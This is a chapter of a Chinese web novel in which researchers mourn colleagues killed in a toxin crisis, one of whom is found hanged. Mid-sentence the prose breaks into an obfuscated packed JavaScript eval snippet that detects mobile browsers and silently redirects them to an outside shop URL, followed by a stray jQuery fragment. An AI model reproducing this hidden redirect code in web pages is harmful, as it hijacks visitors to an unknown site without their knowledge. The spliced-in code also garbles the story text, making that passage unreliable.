那是说不上来的感受,类似于一根绳子突然从中间断开,两边的东西都猛烈地摔倒在地上。
曾秀佳就像绳子的两端,不管是什么走向她都会受到冲击。
曾秀佳已经好久没有感受过绝望了,滔天的恨意如风一般吹过她身体的每一个地方,由内而外都在发出痛苦的嘶吼。
654184788条命,也不知道储潭清能不能抗住?
难姐难弟的,我还担心他。
灯好像变亮了一点,照清了曾秀佳眼底的不甘、不屈、坚毅。
她终于靠近光来的方向,打开那扇通往光明的门。
所有人都在光明的尽头等着曾秀佳的出现,研究院所有人又一次汇聚到一起。
人却少了很多。
“进来吧。”
一群军人整齐划一地敬了个礼,与曾秀佳擦身而过,他们仔细核对每位死者的身份信息,整理好着装后将遗体搬到推车上推出去。
偌大的空间连一点声音都不曾响起,人们一边沉默着搬进搬出,一边安静地站在一旁注视。
真寂静。
免不得感怀,人用响亮的哭声代表自己的降临,死亡竟然是由亲朋好友的哭声宣告,自己却是那么的平静。
来人间走一遭,这或许就是全部。
尹花明的泪水又夺眶而出,赵长阮早就没有什么亲人了。
父母在这次危机中也离世了,唯一一个亲侄女也不在身边。
只有我们这些没什么血缘的人送他最后一程。
一个个冷冰冰的身体被抬到空旷的地面上,尹花明拉着春溪长的手将他带到了向赤阑面前。
“好好告个别。”
尹花明盯着春溪长看了好久,才对着向赤阑鞠了一躬起身朝坐在地上留不下一滴泪的晋云走去。
“哭吧,没事的。”
晋云终于看到亲近的人,她那双如大海一样平静的眼睛,此刻却映出尹花明泪流满面的双眸。
晋云轻轻地抬起手摸摸她的脸,声音像是要随风飘向天空,再飘进尹花明的耳中。
“不要哭,我早知道有这一天。”
可她吃力的面容、颤抖的手臂都在告诉尹花明。
我很不好很不好,不好到还没接受他的离开。
尹花明握住她放在自己脸上的手,声音刚出口,哭声就掩盖不住了。
“你……你这样我……我该怎么办。”尹花明紧紧把晋云抱住,接触的那一瞬间,凉气不可置信地蔓延到她的身上。
春天的风没能吹来生的希望,倒是带来了死亡的气息。
春溪长望着风来的方向,好似看见了以前的岁月。
午后、村里、大树下,阳光、林荫道、追逐的少年。
到现在阴霾、冷寂、死亡。
他眼中的小孩逐渐与地上的人重合起来,无法分开。
春溪长终于受不住挚友的离世,嚎啕大哭。
还没过几天,这片大地又一次地奏起离别的悲鸣。
人们沉默地聚集起来,将拉链合上,进行了三次鞠躬,送别亲人朋友。
目送最后一具尸体被搬上卡车,曾秀佳用手将眼泪抹掉,千万别挡着我看汽车。
直到无论再怎么望也看不见后,他们才缓缓将脚跟挨到地面,头颅缩回,身高回到真实水平。
“收拾收拾心情,该处理我们的事情了。”曾秀佳仍然在看向远方的景象,留恋地看着风和日丽,晴空万里,好一幅万里山河画卷。
她缓缓收回自己怅惘的目光,注视后面那群心情低沉,信心全无,深受打击的各国的研究员。
平静地把那句话说出来,风雨已来,唯有奋力反抗才能有那一丁点的生机。
众人纷纷将所有的悲伤、愤怒全都憋进一口气里死命地咽下去,个个都握紧拳头,为人类的未来不死不休地前往各自的方向。
晋云抱了一下尹花明,转身就跟在自家物理学老师的身后朝会议室走。
春溪长与尹花明在大庭广众之下和众人一样拥抱后相互道别,两人大路朝天,一个向东一个向西。
步履匆匆,眨眼间人都走完了。
只留一个孤零零的大门和两边直挺挺站哨的军人。
他们都将奔赴各自的战场。
曾秀佳屁股刚挨到实验室里的椅子,持续的震动从手腕一路蔓延到心间。
心悸过几秒就要来一下,重重的,像是滴答滴答的钟声无端让人感到恐慌和焦虑。
她难受地将手按在胸口缓缓起身走到角落,深吸几口气让心跳平缓下来才接通。
“周主任。”
被叫到的周主任看着正在通话中的界面,双手紧紧抓住膝盖处的布料,一条条褶皱都是她紊乱无章的心绪。
嘴巴开开合合良久,还是沉默。
这让人怎么说!谁开得了这个口!
你大爷的!把这事推给我!
让我这个眼泪像水源源不断,声音带着显而易见哭腔的人告知这个噩耗!
是人吗!!!!!
周主任沉默良久,带着浓烈的怨气,沙哑哽咽还有哭腔的嗓音边哭边说:“曾院长,储潭清院士离世了。”
会议上是最后一面,再次见到时已是他的尸体。
司马文酒见他久没有来开会,担忧他出事一路小跑到办公室。
一推门,储潭清的脚就在司马文酒面前慢悠悠地晃动着。
顺着身体往上看,便是脸呈紫色、眼球突出、神色狰狞,与储潭清长得一模一样的人。
所有的自欺欺人在看见脸的那一刻,荡然无存。
曾秀佳才聚拢的一小撮心气,亦烟消云散。
电话不知道什么时候被她挂断的,整个人轰然摔倒在地,她扶着角落处的白墙,克制不住重重锤击地板,仿若要把这不公的命运通通赶走。
为什么要经历这些!人到底为什么不能平平安安的活着!
面对一切毫无办法的曾秀佳死死咬着嘴唇,疯狂宣泄自己的愤怒,痛苦,不甘以及无能为力。
满室的寂静都在传递与她同样的情感,低垂的头颅仿佛响起跟她一样的悲鸣。
生命太过易折,或早或晚,或轻或重,或你或我。
难以预料。
尹花明的目光似哀似泣,那悲伤如同天空的蒙蒙细雨打在人皮肤上泛起阵阵针扎一样的刺痛。
属于她的雨水落了下来,不偏不倚打在她的身上。
她隔着泪水哀伤地注视已经衣衫凌乱,脸颊沾着泪水和鼻涕,鼻子上还冒着泡,头发披散在胸前的老师。
那刺痛已经顺着雨水蔓延到心脏,越来越疼了。
从来没见过曾老师这个样子,从来没遇见人类如此束手无策过。
尹花明抚摸自己刺痛的眼睛,感受着无时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17778576|206475||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
无刻不在疼痛的喉咙,恍惚地望见黑色轮椅慢慢推到曾秀佳身后。
是言时安,他的腿已经无法支撑他站起来了。
一个在轮椅上,一个在地上。
两人头发服帖,双眼望窗,天空正好出现太阳。
又消失。
没来得及照在身上就走了。
泪水和生命没有一刻停止过,尹花明看着还在不断增加的数字,卫生纸捂住眼睛,全身抖得跟筛糠似的。
蹲在地上拼命压制了好久才恢复正常,还在轻微颤抖地指尖稳当地握住24号毒素开始试验。
不敢再看曾秀佳和言时安,两位年迈的老人一动不动,连看窗的角度都没有变。
他们全身像是僵硬了一般,看不到半点人类的未来。
绝望,浓烈的绝望注入他们的体内,数值突破了6.6亿。
“滴!滴滴!滴滴滴!!!”
曾秀佳撑着腰,扶住言时安的轮椅,一卡一卡地站起身,咬牙切齿地看向不停闪烁的显示屏。
一声嗤笑,如同拍打在平静海面上的巨掌,掀起遮天蔽日的惊涛骇浪,尽是不甘心。
我们一定会结束这场对人类的清剿,这滔天巨浪终有一日会全部打在你们身上。
曾秀佳重新换了一双手套,与已开始行动的言时安对视,小幅度地点点头。
又一轮的斗争开始了。
储潭清离世的信息被彻底封锁,司马文酒笔直地站在门外,难以置信地注视情报署的人将现场隔离,把他的遗体抬走。
怎么可能呢?
司马文酒嘴角不受控制地抽搐,脑袋像是从中间被人砍了一半,沿着伤口,右边的太阳穴、眉毛、眼睛、耳朵突突地跳,猛烈的刺痛让她疯狂地锤击自己的大脑。
不知捶打了多少下,她裸露在外面的皮肤附着黄豆大的汗水,整个人像是被雨水淋了一遍,轰然坠地激起一片水花,才停下对自己的伤害。
他死了,我也该走了。
司马文酒双目出神,无助地看向头顶纯白的房顶,深深地深深地叹了很长一口气。
她又躺了一会儿,浑身酸痛地立起腰,握住前方的手掌慢慢站起来。
方才躺着的地方已经形成了一个人形印记。
“谢谢。”
“应该的。”咳血症事发当晚赶回京城的文威意注意到司马文酒站好,松开手掌,忧心地扶住司马文酒踉跄的身体,把她带到椅子上。
“您…先忙解毒剂的事情吧,后面有时间再来做个笔录。”
“……好。”
她双眼通红疲惫地坐在椅子上,看着文威意把白色的封条七扭八歪地贴在办公室的门上。
他踩着地上自己的影子快速离开,将空间留给司马文酒。
一缕接一缕的微风穿过空旷的走廊,发出呼呼的响声。
司马文酒慢慢闭上眼睛,又缓缓睁开,迎风走到门前,从口袋里掏出一封拆开的信。
[司马教授大启]
泪水滴答滴答地落在上面,司马两个字边缘开始变得模糊,慢慢向四周散去。
我是该祝你得偿所愿,还是愿你安然长眠。
储潭清,你的死好像并没有如你所想的一样安静离开。
那些东西,真是该死!
司马文酒把信封塞回口袋,大步向前的风卷起衣摆,呼啦呼啦地回到实验室组织会议。